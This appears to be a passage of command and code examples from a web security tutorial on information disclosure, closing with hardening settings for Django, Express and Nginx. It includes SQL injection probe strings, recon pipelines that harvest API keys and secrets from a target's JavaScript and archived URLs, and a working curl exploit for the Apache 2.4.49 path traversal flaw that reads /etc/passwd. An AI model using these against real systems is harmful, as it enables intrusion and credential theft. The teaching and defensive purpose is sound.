# UI shows: Name + Email only
# API actually returns ALL of this:
{
  "name": "Devashish",
  "email": "dev@test.com",
  "password_hash": "$2b$10$abc...xyz",      ← CRITICAL
  "password_reset_token": "abc123def456",  ← CRITICAL
  "2fa_secret": "JBSWY3DPEHPK3PXP",        ← CRITICAL
  "api_key": "sk-live-xxxxxxxxxxxxx",      ← CRITICAL
  "is_admin": false,                        ← HIGH
  "internal_notes": "VIP - waive all fees"  ← MEDIUM
}

# Malformed JSON
POST /api/login  body: {invalid json}

# SQL characters
GET  /api/users?id='
GET  /search?q=test' OR 1=1--

# Type mismatch (expects integer, send string)
GET  /api/users/abc

# Empty required field
POST /api/login  body: {"email": "", "password": ""}

# Wrong Content-Type on JSON endpoint
Content-Type: text/plain

# BAD — information disclosure:
HTTP/1.1 500 Internal Server Error
{
  "error": "SyntaxError at /var/www/html/api/login.js:42",
  "query": "SELECT * FROM users WHERE email = \"test\"",
  "dbhost": "mysql://admin:password123@db.internal:3306"
}

# GOOD — generic error (properly configured):
HTTP/1.1 500 Internal Server Error
{"error": "An internal error occurred. Please try again."}

# Download and grep all JS files
wget -r -A.js https://target.com/static/ -P ./js/
grep -ri 'apikey\|secret\|password\|token\|aws' ./js/

# Automated with katana
katana -u https://target.com -jc \
  | grep -iE 'key|secret|token|password'

# What you find in real apps:
const config = {
  apiKey: "AIzaSyB-xxxxxxxxxxxxxxxxxxxxxx",
  stripeKey: "sk_live_xxxxxxxxxxxxxxx",
  dbPassword: "SuperSecret@123"
}

curl -I https://target.com

# Dangerous disclosing headers:
Server: Apache/2.4.49           ← CVE-2021-41773 → RCE!
X-Powered-By: PHP/7.2.34        ← PHP version → CVEs
X-Backend-Server: app-server-03 ← internal hostname
X-Debug-Info: user_id=1,role=admin ← debug leak!
X-Forwarded-For: 10.0.0.1       ← internal IP range

# Browser: Ctrl+U or view-source:https://target.com
# Search for: <!--

# Real examples found in production apps:
<!-- TODO: remove hardcoded admin password: Admin@123 -->
<!-- dev db: mysql://dev:pass@192.168.1.100/devdb -->
<!-- API endpoint: /api/internal/admin-only -->

# Automate:
curl -s https://target.com | grep -o '<!--[^-]*-->'

# Step 1: Find version in header
Server: Apache/2.4.49

# Step 2: Look up CVE
searchsploit apache 2.4.49
# CVE-2021-41773 → Path Traversal + RCE

# Step 3: Exploit
curl --path-as-is \
  "https://target.com/cgi-bin/.%2e/.%2e/.%2e/etc/passwd"
# root:x:0:0:root:/root:/bin/bash  ← Server compromised

# Un-minify for readability
npm install -g js-beautify
js-beautify minified.js > readable.js

# Find high-entropy strings (likely API keys)
cat readable.js | grep -oE '[A-Za-z0-9+/]{40,}'

# truffleHog automated
trufflehog filesystem ./js/ --only-verified

# Find historically exposed sensitive files
waybackurls target.com \
  | grep -E '\.(sql|env|log|bak|config|pem|key)'

# Check old JS files for embedded secrets
waybackurls target.com | grep '\.js$' | head -20 \
  | xargs -I{} sh -c \
    'echo "=== {} ==="; curl -s {} | grep -i apiKey'

# Django — disable debug mode
DEBUG = False   # production settings.py

# Express.js — remove version headers
app.set('x-powered-by', false)
app.use(helmet())

# Nginx — hide server version
server_tokens off;

# .gitignore — prevent committing secrets
.env
*.pem
*.key
*.sql
config/secrets.yml